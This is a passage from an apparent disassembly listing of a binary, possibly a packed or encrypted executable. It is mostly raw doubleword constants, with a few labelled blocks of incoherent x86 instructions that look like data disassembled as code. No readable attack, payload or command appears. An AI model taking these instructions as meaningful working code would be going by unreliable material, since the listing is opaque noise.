4C351CA2h, 8EE9AF1Bh, 0AF2D07C0h, 7FFC04AAh, 0B765E680h dd 0AD214BC3h, 3C5BBCBDh dd 706680B2h, 0B20B0A2Ch, 0F9E01F2Fh, 0E5A876DBh, 8DCC068Eh dd 6DF7875Bh, 0E030B674h, 2E5B7560h, 96146456h, 0E2F4D01Bh dd 91CF5FC7h, 0AB80A7E1h, 8EAE6067h, 0DBDE7260h, 95DB9236h dd 1DFDC180h, 31DD3DDBh, 6FA44D89h, 27E6DEBFh, 47A9E372h dd 2543AD90h, 2D2BA223h, 621AFB15h, 5D2852BAh, 0A885EF41h dd 500787BCh, 21C2F8ABh, 9A50C0Eh, 9D5E2E90h, 0C3DE641Ch dd 3A14BE2Ch, 0FEA25003h, 811412FBh, 229FC4D5h, 8257F752h dd 68A289A2h, 86FAD3CDh, 932914BDh, 0B3A37700h, 92DDF8CFh dd 84612354h, 6068D5E8h, 0CCFDE21Fh, 620DE4FFh, 0FF410BB2h dd 1E7EE39Ah, 9109A588h, 629E13Fh, 0F78294Fh, 729562EBh dd 0E310DB95h, 338FB108h, 4DC28C06h, 0B3D63AF3h, 3240C97Dh dd 0CAB5EAAAh, 3EE261E0h, 0D6A76AEDh, 1FDB67C5h, 374F0E9Dh dd 388D9312h, 995394D1h, 436A4EC4h, 2C36422Fh, 6D3B8FAh dd 754A626Eh, 0EED0EABBh, 88E06674h, 2A30E2CBh, 709B22ECh dd 529AEA35h, 6BB7F419h, 0E7E95217h, 0B78C12B0h, 92C51B1Bh dd 0CE5D24E2h, 609EEEBCh, 2A93109Eh, 0FB9B8478h, 0A184E693h dd 0F94064A0h, 0EB526549h, 0AE60ED2h, 0A4ED5947h, 0CBD7CAD5h dd 9E9A9C12h, 299B84C8h, 0D676C2F8h, 5A6E490Ch, 8CC38B66h dd 0DA1D5E8Dh, 5E252549h, 0A88BBBE1h, 0A4A346FEh, 7A394DB8h dd 7989BD68h, 2ED79ABEh, 0E582535Dh, 11F11B51h, 0AB3DE815h dd 0A0074AEFh, 0B639A4C9h, 0F60B4080h, 0F717888Fh, 0C856AF52h dd 0FC6376CBh, 0A7809FD0h, 0B72C6A94h, 8099264Fh, 148C4BECh dd 0AC137B71h, 0B301663Ch, 0A544FCADh, 4C75F886h, 77650935h dd 83BAC28Bh, 22C663A8h, 0DA05C23h, 18431909h, 675F1140h dd 0E9460ECAh, 816AA068h, 0F92ECC7Eh, 0D8DB39BFh, 0EF333377h dd 0AA86991Bh, 7C1F1243h, 0BE190729h, 3DF860F5h, 0B517214h dd 8B5A8027h, 0C19301A2h, 0CE4050DCh, 0D4F5FE54h, 8D880956h dd 2C6E1196h, 3B9EEC5h, 0BE42ECCAh, 15B893D2h, 5E73A856h dd 96A8DE8Dh, 2E384DB2h, 0C0B24D00h, 9CDFC63Dh, 0DE24918Ch dd 9C363500h, 7C90DF04h, 0F006527Ch, 38FCAEABh, 0BE7D20B7h dd 0BF16B031h, 0D408E706h, 3568711Bh, 71B6387Fh, 0FD408766h dd 0FD67214h, 1E7FC214h, 4FDC1667h, 22D13F2Ch, 1E549CEh dd 0A29D76Bh, 0C64C1D64h, 0F78EC76Bh, 0CC5D4DD2h, 5DBD0517h dd 0CBF6E31Eh, 0BC838D61h, 0EDD1C99Ah, 0C9084BDh, 0DB177227h dd 612055DFh, 0F5DC9C0Fh, 872FAC0h, 0C71295ACh, 0DE7DF27Bh dd 0E2C83AA5h, 9816574Fh, 0FF94F7D1h, 1BAA3196h, 3CE56A8Ch dd 0C17EB17Eh, 689D9397h, 6BDE4117h, 4B2297E5h, 511FDCD1h dd 90C11010h, 481D64DBh, 0BFBC4CC1h, 19F2E37h, 84D14F79h dd 2ECD4F03h, 0C47641B3h, 0A966EA93h, 2ABBD57Eh, 8EE54756h dd 0B510B077h, 91B3F981h, 4958DA4Fh, 0C49615B4h, 27CE94F0h dd 76A13E16h, 0FE302CD0h, 0E65EE634h, 0CF07B157h, 0A7A122A7h dd 4970CD14h, 468B86B2h, 0C71598CEh, 5D9852F2h, 0EA04BEC6h dd 718F8842h, 0A6B4B41Fh, 5E34BF25h, 0EE82603Ch, 0BC559968h dd 9EA0A441h, 0F7474161h, 65B789CEh, 633737CEh, 0E24C67F6h dd 3EF0DC45h, 0DAAE9743h, 0EE68D555h, 0B4AE32A9h, 5F213A73h dd 38398A36h, 9F24E3B6h, 3BFF122h, 665FEF45h, 2E01780Dh dd 0F9024466h, 5CDAED53h, 9D650652h, 971F34E1h, 6CD47E52h dd 0CDF62420h, 7378D49h, 3D5D7C4Ch, 0D7F69176h, 0F55171DCh dd 6F922FFh, 3208C6CFh, 5BF930D6h, 0FAF95CCh, 0CD74B926h dd 69D49A6Dh, 867673DFh, 2CD5AA07h, 12526C7Fh, 1F168C92h dd 2254F5B9h, 72C569DEh, 606BA17Fh, 0EB074E97h, 0A30EAF0Ah dd 15D275Fh, 47E2D61Bh, 0E8554CCAh, 1F2B7830h, 8A734532h dd 158A43F4h, 0E84563F6h, 6408A15Bh, 260F964Eh, 0F3B876D1h dd 1912D02Bh, 0B7F49A44h, 0B702A30Ah, 2A72E821h, 53D844ADh dd 5EAF2B37h, 9FE539E9h, 324A0241h, 91586CA0h, 0D3B947EAh dd 846113D8h, 0CAB39598h, 694F6F94h, 1B0E75EFh, 7DE3D07Bh dd 0F200191Fh, 0B703B25Fh, 0C0FE508Eh, 7F5C227Bh, 0F5CD0D36h dd 618688DBh, 0DA356D92h, 77EBB817h, 0CFA99740h, 9F84E25h dd 74B38BDAh, 0ECB0D053h, 41E5E61Fh, 0A6EC6000h, 63A79F38h dd 7D01839Dh, 895D3319h, 69B75572h, 996EBEC0h, 58BCE61Ch dd 93476EC8h, 398D8005h, 6E314C32h, 0AC096610h, 44CB4BD4h dd 0C9FDC237h, 814E96E6h, 8210C96h, 0A92CD7E7h, 1148AE1Eh dd 1AD4EBFAh, 0CD6DE48h, 1CD55CE5h, 155E181Dh, 0BC829A0Ah dd 4A615CDEh, 73305FEh, 728CD224h, 1EBAD386h, 0B30EB29h dd 0C11D6562h, 0CD1D21CBh, 0E529A894h, 20DE4869h, 85610DB6h dd 2CD50E44h, 8946D9AAh, 0E56AEA82h, 4D8CEEF2h, 22137890h dd 35364F4Bh, 12F0554Ch, 0E0AD304Ch, 0F4961BE6h, 0A1E2A741h dd 0BB80E9E5h, 812D17Eh, 3C403DCFh, 0E1776C9Bh, 779FDB1Ah dd 10B5DBB8h, 230375D4h, 0DDC3ECB6h, 630D4E1Eh, 0F412E51Fh dd 7628B2DAh, 12B5A7B9h, 0E8FA8EE7h, 0AB6C269Ch, 6982D09Ch dd 68D55FF3h, 11E3B6D0h, 7C4AEE2Bh, 6348C413h, 7A8C8469h dd 0CED64DC4h, 273A0337h, 2F305872h, 66B0FA2Bh, 5E7C1593h dd 778ABEECh, 0F796F9h, 5BB84018h, 893BF8A9h, 88628161h dd 19C6A9DDh, 793C9AE2h, 0E05C9CDEh, 656DC2ACh, 0C7C8628Dh dd 0C2BBBF7Fh, 0FC9D9F93h, 8096B4DAh, 0DFC28068h, 64D75787h dd 454EEEE4h, 39F67F55h, 876CCDEEh, 0DBDB203Fh, 0C8A9BA78h dd 0B57E55A1h, 5A1A8912h, 560F7E8Ah, 0AF31AC5Eh, 66829DE0h dd 723F5A04h, 43FC0C38h, 0EE32B417h, 5A51DD05h, 8C4A46A5h dd 910F9292h, 0EB307611h, 0EE39669Bh, 1AEEA62h, 0CFF02612h dd 3C311C18h, 0D650CA4Ah, 0BF0CDE2Fh, 0A541D59Bh, 0EC66536Ah dd 0AA0FF4B6h, 0B6F49993h, 8C5AD40Ch, 5E007529h, 0E09363B4h dd 0DDFD2E1Fh, 9D4355BCh, 0A8DA09FEh, 5394004h, 0BE512670h dd 113958CDh, 0A991211h, 0D9D7BD55h, 5D94B408h, 40457EECh dd 0EB709DA0h, 0FBDF1394h, 0FE57CE9Ah, 35D3E306h, 6A3F5A47h dd 0A3AD6253h, 0C36D836h, 0AD2FB2CEh, 7A24E966h, 7087FE2h dd 0BF8A8C74h, 10B67D2Bh, 0D769A846h, 19A2EA99h, 8C651DCBh dd 0A6F1A617h, 62E03CF9h, 8C477F9Dh, 0BC2150C7h, 39185F23h dd 1BE77075h, 13221756h, 0AC92153Fh, 0A0C9E52Ch, 0BE3D7FA1h dd 9F3D353Eh, 0C523815Ch, 9195AB3Fh, 50B9885Dh, 0BFF0F578h dd 0A48307C0h, 46FC3297h, 0EDCF9080h, 1A825FCh, 2DCE4C6Eh dd 9CFF2869h, 932460DFh, 0E20E073Ch, 0A6072DD6h, 6D99DA4Ah dd 0B4AC87E6h, 7B11104Ah, 0DA7B44EFh, 9750005Bh, 9A4AA9FBh dd 0E60F7481h, 0C3856FD9h, 318B94A6h, 0A1201AC2h, 69D5D57Eh dd 0B4B0C070h, 84C46AC6h, 0E2672BDBh, 980F6E30h, 68AC8855h dd 2620F10Eh, 0D1E83448h, 57DEDC19h, 8660F5E6h, 466F6345h dd 33B25CC1h, 0C06ECB45h, 0BCF4C399h, 8A61993Ah, 3CE9DBC1h dd 0F99E3DD3h, 0FA9E17Dh, 281303E2h, 4F1D19Bh, 0AB268356h dd 6D5EA319h, 6CA7DF5Ch, 4812C310h, 2CC2D9A2h, 47196DBh dd 0A461B987h, 8D1BC631h, 30E15B8Bh, 10C0102Bh, 43BA94EAh dd 93B38718h, 4123A45Dh, 82DC237Ah, 232E9EC9h, 0B0AD8757h dd 4C3FB666h, 0B1584E0h, 403F1CC6h, 0E1C6FFA9h, 0E6A9DF0Dh dd 903BC863h, 9AF09C13h, 5EAE60C0h, 0EFA3DFD5h, 0A909C7Bh dd 2C377CA3h, 4BD7CA79h dd 9B285135h, 0E39FA474h, 0DE05074Bh, 0C9F72B39h, 0F3EA1550h dd 8BCAF2ECh, 54EFBF66h, 0A4AB327Ch, 0DBD63709h, 838DC1D6h dd 0F59F72F5h, 4326C7Ah, 0FBBE34DCh, 7168C4BEh, 303C73D5h dd 0B6243BC6h, 2EDA6F9Ah, 0CFDCF85Dh, 0AD3B0075h, 6D555602h dd 35371Fh, 9A309450h, 0D070225Fh, 33EFC938h, 6E9C4377h dd 5227A9D4h, 762064DFh, 71A73AB9h, 4AD76BD3h, 7025480Dh dd 0C93D9994h, 9E35C34Ah, 0CEE1EA03h, 6B8CFB31h, 38A27815h dd 46672B69h, 55638AF1h, 59AD8804h, 21670C7Fh, 66525682h dd 95DF3E22h, 57BF6D07h, 555C999Ch, 0A10A9478h, 0F7516382h dd 603149AFh, 0ACEFE12h, 0E30CE614h, 4C544AF1h, 37B357A5h dd 8A996E77h, 853991E5h, 6E78EFE3h, 54D757B9h, 0DA5ECCE7h dd 2C1EE2A3h, 40D2FDFEh, 150E8E2Bh, 0E04FB2E9h, 0FF7D5785h dd 0D0DE9C30h, 151CAC35h, 0E628515h, 0D3ADCEE8h, 6CCF98F9h dd 0D5E20C03h, 3F20C03Ah, 177A88E4h, 55B6ADE9h, 4A152731h dd 0D6FE513Eh, 5A497D2Ch, 0E7424E82h, 7EF6389Bh, 0F2AE1178h dd 4F22E757h, 0D54F6B2Bh, 903D766h, 0A7C15785h, 8F39D1F9h dd 5F583CF6h, 0A9A38BE1h, 0EDBC025Eh, 0E9A56815h, 0EFB2CDEEh dd 69256BE0h, 0A641990Bh, 269A03D9h, 50B1D839h, 524B79E2h dd 2576F4C3h, 640D458Bh, 89DE50FCh, 9DC86C7Dh, 0AEC3727h dd 4AE2CE1Fh, 607D2829h, 5D9032AEh, 0F4A088h, 42AD98A4h dd 22870ADAh, 0DE7897E1h, 3A9ED9B9h, 1C15F02Ch, 0A8B55CF9h dd 5B3AE485h, 7E3B4950h, 3F9F4B4Ch, 30974E18h, 94968E4Dh dd 62C3734Fh, 989D600Bh, 6A4B24B8h, 0EF0A2680h, 3C5AD740h dd 76F3E8CDh, 0E58AF3FBh, 907499D8h, 5B54C485h, 1B0740A7h dd 3FA9E6FAh, 0BFCB429Eh, 40F6FAEDh, 7A41511Ch, 6DBF70CCh dd 3511A67h, 4770DB3Ah, 26611245h, 0BF157601h, 2215E9E2h dd 9F4DCB2Ah, 917A6A8Ah, 8E3B1933h, 82600B86h, 0CBC7A895h dd 255F46F2h, 0A90E4413h, 0CBFA9BF7h, 0C079C2AAh, 97F57DB8h dd 0DEEF2D3Ch, 0D08449C8h, 26A07C9h, 0EB920910h, 80CC21BCh dd 291D5768h, 8083D652h, 0F861DE4Ah, 63C3DEFEh, 0E7E8DBACh dd 7B58A728h, 8149FF51h, 101D7533h, 3F48F15Bh, 0EBD9255h dd 0CC965473h, 2458C002h, 94E75755h, 5C7C98F0h, 0BAB52367h dd 475CCA04h, 0E357AD9Eh, 6D5A4CAFh, 0BAE3BF3Eh, 2625C786h dd 13B8F020h, 0B6A8E860h, 21E12A42h, 9B3D9483h, 1670FEACh dd 0FDEB4C23h, 5D49095Dh db 18h, 99h ; --------------------------------------------------------------------------- loc_4253F2: ; CODE XREF: .pdata:00425447j xchg eax, ecx or ah, al and eax, 80D1BE48h mov bh, 76h stosb cmp dh, [ecx+8] pop edx movsb popf stosb aam 22h add [esi-23h], edx mov eax, ds:1D1DB2BAh out 0F1h, al ; AT 80287 Reset. ; Coprocessor is reset from protected mode to real mode xchg eax, esi retf 47B5h ; --------------------------------------------------------------------------- dd 0EE100241h, 8A36BF26h, 479B874Ch, 3CC50382h, 0E2B3A3DCh dd 1FC7CD16h, 35D36A1Dh, 922E1203h, 41011178h, 9732009Fh dd 766F2059h ; --------------------------------------------------------------------------- locret_425440: ; CODE XREF: .data:00418C51j leave fldenv byte ptr [ebp-61h] ficom dword ptr [ebx+7Fh] loope loc_4253F2 test al, 1Dh inc eax loope loc_4254B1 imul ebx, [edi], -45h imul ebp, [esp+edx*4-6A728BCCh], 37h and [esi-2273BF47h], esp and eax, 914D892h imul ebx, [ebp-3DE027BEh], 9A434BE9h and [edi], dl in eax, 1Bh inc esi stosd retn 6BCh ; --------------------------------------------------------------------------- db 0E8h dd 8F09018Bh, 0C5A1B51Ch, 41F3D093h, 84A06988h, 0D906E80Eh dd 0D1952822h, 11FB7DABh, 0E9AFE5A8h, 0B0CB8CC0h, 0AD1A13A1h dd 6DA23BA5h, 55C73AC0h, 5241BF52h, 0F5EDDEE6h ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- loc_4254B1: ; CODE XREF: .pdata:0042544Cj jecxz short locret_425512 mov ebx, 0D3FFA3C6h sub dh, cl or ecx, [ebx+7Ah] adc al, 17h cmovp ecx, [ecx+43h] fisttp qword ptr [ebx+42FF5664h] rcl dword ptr [esi-474181B8h], cl nop dec esp or [ecx+esi*2-1C18A87Dh], ecx or dh, 91h push eax lds eax, [esp+eax*8+77h] outsb adc edx, [esi-6Fh] pop ecx jle short loc_425508 sub [ebp-2Ch], ch jz short loc_4254F5 int 3 ; Trap to Debugger aas adc edi, edi aas add ecx, [edx] mov cl, 3Bh loc_4254F5: ; CODE XREF: .pdata:004254EAj pop esi xchg bh, [eax-2Fh] loc_4254FA: ; CODE XREF: .pdata:0042550Ej test al, 1Fh db 64h mov al, 0AEh aam 0A0h push ebp ; --------------------------------------------------------------------------- dw 0FE62h dd 3CFCCF93h ; --------------------------------------------------------------------------- loc_425508: ; CODE XREF: .pdata:004254E5j or esp, [esi+5D353673h] jbe short loc_4254FA ; CODE XREF: .pdata:0042557Ej movsb daa locret_425512: ; CODE XREF: .pdata:loc_4254B1j retn ; --------------------------------------------------------------------------- db 1Ah dd 0C8D6E6FAh, 4556A4BDh, 0B70CA5C2h, 0CC97F4A0h, 1BE06996h dd 14B0680Eh, 3E16EAB4h, 7373A8DAh, 0C71B289h, 327444D3h dd 0C5A8B334h, 0CF3D5E0Ch, 39D262E1h, 227CD405h, 0D93C6E1h dd 58F3B1C4h, 0B8C3458Ah, 0E2D8160Ah, 0FAAF74AFh, 0B17F6219h dd 4D6D1000h, 0AA10666h, 0AE6225A0h, 39196Eh, 21E9431Ah dd 5EAD903h ; --------------------------------------------------------------------------- loc_42557C: ; CODE XREF: .data:00418D8Dj mov ebp, edx jb short near ptr loc_42550E+1 adc cl, [eax] aas inc edx mov ds:2D8326F9h, eax xor edx, 0FFFFFF9Ah or al, 0F8h test eax, 4409DAC8h pop edx push edx retn 0A49Ah ; --------------------------------------------------------------------------- dd 28B75786h, 508FAF7Bh, 0F27BD3A4h, 5AC6FAF4h, 108CDB20h dd 0BE7CEC73h, 0F2D1D399h, 9A5A786Fh, 0F868A0CFh, 0EF3ECAB2h dd 12164E71h, 0E0CD27F9h, 1C392B94h, 6FB20658h, 0BA500333h dd 526BA72Dh, 36EE699Dh, 400447D2h, 0BF7CE4B0h, 0E918C4A4h dd 0DFC58510h, 2CED659Dh, 0BD051E6Dh, 67184857h, 0FA6F06CCh dd 0C4F5CBBh, 74092B73h, 0DF1A5E54h, 52841FB7h, 50B77AFDh dd 686CA84Bh, 13F1EEB2h, 64EFA513h, 0E6487558h, 0A3C1E93Eh dd 13898611h, 6C1416F3h, 0EFF63548h, 2E28D87h, 0B21AC3CFh dd 17B84AC2h, 0C56F69F0h, 2E667BE6h, 0B15E5AC7h, 0E0E427E9h dd 6D3D4CE5h, 6EFF414Ch, 0C6948343h, 0CFC567CDh, 0E1183326h dd 82A3CD14h, 0DD895AE6h, 0A7A2A07Ah, 10DE70BAh, 72B7B45Ch dd 9AFAF990h, 0FB00073Fh, 38553A33h, 1D97E72h, 913BBCD4h dd 15B29126h, 0B9D5C3CFh, 0D38D2A10h, 0E56D4163h, 0EA0BC65Ah dd 0FD5767B4h, 4F1FF52Ch, 575F5F12h, 0C4D6EDFAh, 3C81CD0Bh dd 385ECDAEh, 67121FABh, 0C789BA7Ch, 0EAB4C6Ch, 0FD261E1Eh dd 5E602B18h, 0C2016B8Eh, 36B70DB1h, 49C628F6h, 44988CB8h dd 2EAA03FEh, 9A7DD454h, 0B80D1A31h, 0DA9C0E8Ch, 44574C2Fh dd 78EBB533h, 0B26462C9h, 597923F9h, 65C66F89h, 0D846AA74h dd 0F3B71F7h, 0AEEF4E0Eh, 37DD4AB0h, 900D186Fh, 3570CB5Dh dd 0BE94B024h, 574F7F88h, 0BCFC0BDCh, 7B61B8E2h, 1366B510h dd 8ED64182h, 334FDC21h, 0EC95D4Eh, 0FC789FF6h, 0E5D5FEDEh dd 0F648B869h, 0C68E4F15h, 0BE9FDA16h, 0C87B2EDBh, 230A6E77h dd 0C45F1B26h, 24D4787Bh, 6AE3F614h, 1CE7A3D7h, 86736416h dd 7AD5889Bh, 0ADEEA38Ch, 441E4135h, 67E2259Ch, 241DB614h dd 42A68397h, 58F2D839h, 20D10907h, 0A76BF2EFh, 0B1375E08h dd 0AF7E83ADh, 51FAB9B6h, 5EE78818h, 40F80C53h, 48829673h dd 547B9CF9h, 32191462h, 9DA822CAh, 0A6E5B5D8h, 5DCA9348h dd 0E2B0DB7Bh, 4BCDF3E6h, 0F42BA9F2h, 893EFB86h, 0CE982F13h dd 3896A866h, 26131292h, 0A746F83Bh, 0BBD54B20h, 9C59AB45h dd 0DB020DE2h, 0D7BE926h, 25317B9h, 239FC7CBh, 0C4353F7Fh dd 9B7260B3h, 9F1009D2h, 645DE04h, 94ED437Bh, 461B8686h dd 136792DCh, 8BE74B78h, 0BDED9B9Ch, 0A43572F3h, 895C766Ah dd 153DD511h, 0F0EA6601h, 7A83E3A2h, 37DD1E65h, 0F834BD7Dh dd 4198A337h, 88B63DC4h, 0D68AC569h, 25954FADh, 4BC74F72h dd 70E09ACBh, 91C46C65h, 0F2096554h, 0A3BFD893h, 8DAEE84Eh dd 29C52437h, 0FAEF6B7Fh, 5C97C97h, 0F79CBC4h, 1924B359h dd 8664BA02h, 233C5AAEh, 4B98CC26h, 70EB711Bh, 0D2088EE0h dd 88F3B06Ah, 0BB8FCEF3h, 6B17D99Dh, 2A00983h, 7793B3D5h dd 504AF457h, 685F6EB7h, 0DF5B956Bh, 851729D3h, 0AEE9076Fh dd 1E725D14h, 0CB1D03E7h, 0DDC0A599h, 0A275380h, 270DF76Bh dd 53D86C9Bh, 8A44C50h, 0CB119210h, 0BFCB0BBDh, 0F2456220h dd 8D8013DCh, 0C73FB712h, 32C06C85h, 6FF72E37h, 9CFD0266h dd 5FBE5E4Ch, 1AEDC0D6h, 2F3F9035h, 651C2F9Dh, 0BD111BF7h dd 55200EF5h, 0E02FC7F7h, 67A9928h, 0EFD76005h, 3BE44E28h dd 0A8AEF2B3h, 0C2362A6Ch, 335E8778h, 75826260h, 71CF12Fh dd 38B1F1DCh, 3D810D73h, 77EB109Ah, 0F51F1495h, 1CDD261Eh dd 68C4CABAh, 425B6F3h, 0B99C67C1h, 6B67EEC9h, 0CCC3F622h dd 22D1B898h, 2756EA5Ah, 32FC7B83h, 7DCB0C9h, 1E13E8Dh dd 5EFB79F1h, 4705AD87h, 0C1A4720Eh, 9206638h, 0DDD10FFEh dd 0A3C89CCFh, 1CBB6730h, 6C033C20h, 28018D75h, 0E31D2979h dd 4874F2D9h, 52CB02ABh, 0D0BE0792h, 6E9DB35Fh, 3C3E29DEh dd 0A29BFB07h, 0D0946Ah, 0FCCBB247h, 0D0A3B402h, 7263107Ah dd 0E0092730h, 30277B55h, 3514CB5h, 0FEAFBB5Fh, 0FE9C0E98h dd 0FAF88511h, 55B9B567h, 0A78D073Ah, 2FC958E1h, 0D69B3BDh dd 7760F660h, 7E4468CEh, 762AF167h, 0E8E374BBh, 0B4C565E2h dd 75779B61h, 0DBEBCFE9h, 0CA89BE5Dh, 8E8B4CFh, 7AF3FDA7h dd 3A0811C3h, 2A44C3ADh, 1627D6D2h, 0B6B48498h, 996166Fh dd 0EC1EA68Ah, 0E4ABE01Ch, 0C4EC92E5h, 88A5EF32h, 0BCC4AA4Eh dd 0CAF8DBF9h, 7609F7BFh, 0A932F20h, 2707D862h, 131E2869h dd 921EB366h, 9A016A28h, 0D4331D0h, 0E3C37A79h, 38AFF6E9h dd 0DBF5ED9Eh, 9F6FFA6Bh, 0C32B24E6h, 3756699Dh, 2E8AA61h dd 0B03C1623h, 655ED6F7h, 0AFCA2974h, 0DBF70C04h, 81E300B9h dd 7184D620h, 6C3BE215h, 89CB1D9Ah, 995BA5D8h, 28533E8Ah dd 717F7A12h, 78B19441h, 0BCF2B918h, 8BBB29FDh, 335DB896h dd 5314FE5Fh, 0C77B404h, 0B385A707h, 0E372F426h, 0BE9DBF10h dd 6295473Bh, 800FC02Bh, 78CE075h, 815970Eh, 13318208h dd 4E9B3EABh, 97B25F3Ah, 9241926Ah, 4E9B26D9h, 0CDFEC697h dd 0FCDC7687h, 33A0EE51h, 7BC41164h, 0E8063128h, 2BC24F15h dd 0B3A4F85Ah, 0DD62A96Fh, 0DE3803A7h, 0BB968452h, 0D04061D4h dd 0F59A2742h, 220DA522h, 27EB9502h, 7243ED14h, 0AE6B7E80h dd 277149E3h, 6BA6F4AEh, 47DFCB68h, 73BA6BAh, 94DEA2A2h dd 78CEE8A5h, 0E6DC999Ch, 8EF3DAE4h, 0F2B30FDh, 71D7EB2Fh dd 78801FBBh, 27445C87h, 7E41DEBBh, 71F94D84h, 0AEB08FFh dd 7BFBD185h, 0B00A05ECh, 0ABBA0341h, 1A90FAE8h, 82ECC2BFh dd 0C064D519h, 4FFC5009h, 0DB4A7576h, 0CB61310Fh, 256AFA44h dd 9E4C3C56h, 48C4F44Fh, 5B37F9C5h, 6CE83737h, 0B36D373h dd 14E35D88h, 88562A00h, 1C6E2B16h, 2720165Bh, 95FAEAF5h dd 56D6EA8h, 507FD7D0h, 38E26E64h, 7A4E52C1h, 1C259650h dd 96C5648Eh, 0A764C11Dh, 0BB42C53h, 91086F09h, 6581B2E8h dd 99DCB717h, 485B3F88h, 0CD9F01D8h, 3D43CB14h, 17870CF2h dd 92E93928h, 0EEB2B0F4h, 7882F964h, 17A0ECC5h, 0F046B408h dd 0C840F994h, 0C54BCDF5h, 4E975F3h, 778716CFh, 0A9E8D6FCh dd 0B43AD7D3h, 95A1FE12h, 4BA790FCh, 0E61976E5h, 49EDEC4Ah dd 0C8B9F606h, 0D9B08D0Ah, 4EB402AEh, 0D735E0EFh, 2712C128h dd 0B922D6F6h, 0ED12DA17h, 0EF0AA5F3h, 9295AC7Eh, 1AC6CB37h dd 32E95DCBh, 521D58B1h, 218367Bh, 0F6639AB0h, 0F31A0AFBh dd 0CBB33B45h, 1EE25652h, 0BFA2C665h, 0D61493C7h, 93DD371Eh dd 546CCBD2h, 0CA05CDFAh, 14DFD3A6h, 878EAE70h, 5B7B48C9h dd 9F6AC69Fh, 0D0DA1472h, 35762336h, 0B498A187h, 2ECA5397h dd 0AB0469E1h, 6230D78Eh, 0FFB9BF6Ch, 0E5D780D2h, 0F376D2E7h dd 0C1162510h, 424EC3DFh, 0C070BF9h, 54CB4FEDh, 0B9F5B24Ah dd 2F74A07Ch, 47FE08E4h, 4A571AA3h, 35CAC3C2h, 8A99FDCEh dd 5DC68A86h, 6E1B9BF2h, 0E7954C18h, 0FF2EF7CCh, 0DB72CFBBh dd 672984E2h, 0D7B00C3Fh, 0D1F65E78h, 22F5159h, 0CBCE988Eh dd 9CDFF8DAh, 2CBAEF54h, 74591D9h, 0EC226F96h, 0F4AC125Eh dd 2FFA53CFh, 8FF64EB6h, 0C75FE243h, 60FC726Bh, 0FC24D477h dd 0EA5CDD6Eh, 3B08CF6Ah, 813A7399h, 0D6B7A574h, 4C665419h dd 30786413h, 723FE37Bh, 6B559E75h, 0CEB9AA87h, 0C22E580Bh dd 0A2622D7Dh, 20997D13h, 0AAE77B63h, 97352B41h, 2FCDA36Dh dd 8B9CE9DFh, 0EE8BB8BAh, 6F07FF8Dh, 0CCD04C6Eh, 0AAAC1D63h dd 5376316Ch, 0B817E2C5h, 7ABE085Eh, 0B7782DC4h, 0C7A5F27Dh dd 0BE219476h, 5B57A9Ah, 8ABA2620h, 9E204F72h, 99CEBCE7h dd 2BE0F8EBh, 0F0B75839h dd 56746B7Dh, 0B5E90093h, 0EDA0EFAFh, 5DCCA707h, 6574328Ch dd 525818F4h, 169EB499h, 661D0B13h, 68DD9ECDh, 89E58509h dd 0F8C9BF4Fh, 0A8CCB566h, 5151160Fh, 98ECA6C2h, 7AA49A28h dd 0EEB2F441h, 0FC4D76F1h, 8861041h, 5F93E789h, 918BF2EDh dd 9A2BDB3Fh, 0D5A487E0h, 0BF903140h, 4400BA4h, 0E0E109E5h dd 3596221Ch, 93117806h, 417E8997h, 0D5AE8FAEh, 96A3ABF6h dd 342E6FD1h, 35C3629Fh, 4ACEFD9Bh, 70C6B6B1h, 0BA1656A2h dd 4E175111h, 41A2D385h, 708D041Ah, 5BD890D3h, 91BC23A6h dd 8B5237E6h, 0CA95AD6Ch, 0C0DCA199h, 476772CCh, 3F48836Ch dd 19DD5A2Fh, 0A1B0A60Bh, 0BCF3C1F6h, 48C599CEh, 2E9A8EE0h dd 8F5ED2B5h, 0EB68CB0Bh, 9AE6C49Fh, 61C73C74h, 42247A45h dd 9420F45h, 5AB0C1DDh, 15B78FE9h, 4F851F6Fh, 0D8E4A04Ch dd 0FEF49AEAh, 99652E4h, 39539235h, 0DF7DC7A7h, 9144A6FCh dd 0D999C0FDh, 0B91F6691h, 0C6CF4857h, 32EB1748h, 559C972Dh dd 9198534Ch, 3311D8AFh, 616F26B3h, 31EC1188h, 551BF5ADh dd 0FDFEE1EBh, 955B40BAh, 244F156Ah, 6A44275Ah, 0E462AD53h dd 0FAE63267h, 0F983F49Ah, 252F76E0h, 2A1435Ch, 325A0C6Bh dd 0E0D713DEh, 40AB2546h, 0E47C9020h, 3C73452Ch, 0B3AF2C1Bh dd 3701AF8h, 6D28197Eh, 1D7131Bh, 9139576Fh, 0D43B9217h dd 2F7B88E7h, 529DEF76h, 0C5089981h, 1829770Ch, 5F206122h dd 0E5EDECA4h, 834FF09Dh, 87748DA4h, 3917247Fh, 0E495413Eh dd 378FE253h, 0E4439556h, 0B578EAD9h, 78FDF677h, 4EF3FD8Ah dd 0D054CFACh, 0AA3DA1B2h, 6BC57572h, 0AFA62503h, 10FCE809h dd 11764982h, 49CFF8C6h, 18B49B07h, 9E6E4CBFh, 0EC03C786h dd 3BCBF624h, 0F9597286h, 40AA1762h, 0F4C1470Fh, 5E08AE15h dd 0C1F2EBCAh, 0D333203Ch, 1A259C45h, 0D4A9D700h, 0EC607A4Dh dd 2DBD32CFh, 2733C37h, 0E3243AF2h, 6925211Fh, 0D33CBB69h dd 2F94E3Ch, 91B33CE8h, 864A8D62h, 3CA45C00h, 0BDDF241Dh dd 976E7DCh, 3935F448h, 2861FB32h, 4194AD1Bh, 35D7D5E7h dd 11D1B03Bh, 0F7FB3492h, 649AFACh, 7B15DB72h, 687345D1h dd 0C641B770h, 0CB716BA6h, 0F3FB2BEDh, 46D96193h, 7C8E6640h dd 350D3732h, 3CA2682Bh, 0F330FF9h, 0E539440Ah, 104F12Dh dd 5BC357D5h, 9672D8Eh, 50F7B09Bh, 0FF0AB1C6h, 53A439EBh dd 0EF6FF3CEh, 0A60D4C13h, 8A0B5729h, 0C1C3559Ah, 775EF145h dd 4D8FA2B1h, 0A3B456AEh, 0E8E9E751h, 417B6339h, 0B9468A0Dh dd 7B7E227Fh, 1E0C380Dh, 37B72726h, 626FFAA0h, 273647B6h dd 295D8F9Eh, 0CEC4107h, 0A9BF6960h, 9CF3F1DFh, 0C01F6CB5h dd 0A183522Fh, 0C935C7AEh, 62194A9Bh, 21CDA795h, 2CE4D9A1h dd 3E49ACB8h, 0DE3E883Ah, 49089EE2h, 25166FB5h, 20BF2F01h dd 79EBE5F6h, 86821776h, 521AF067h, 6927488Dh, 5E4AFCF0h dd 27A3FD40h, 78905F4Bh, 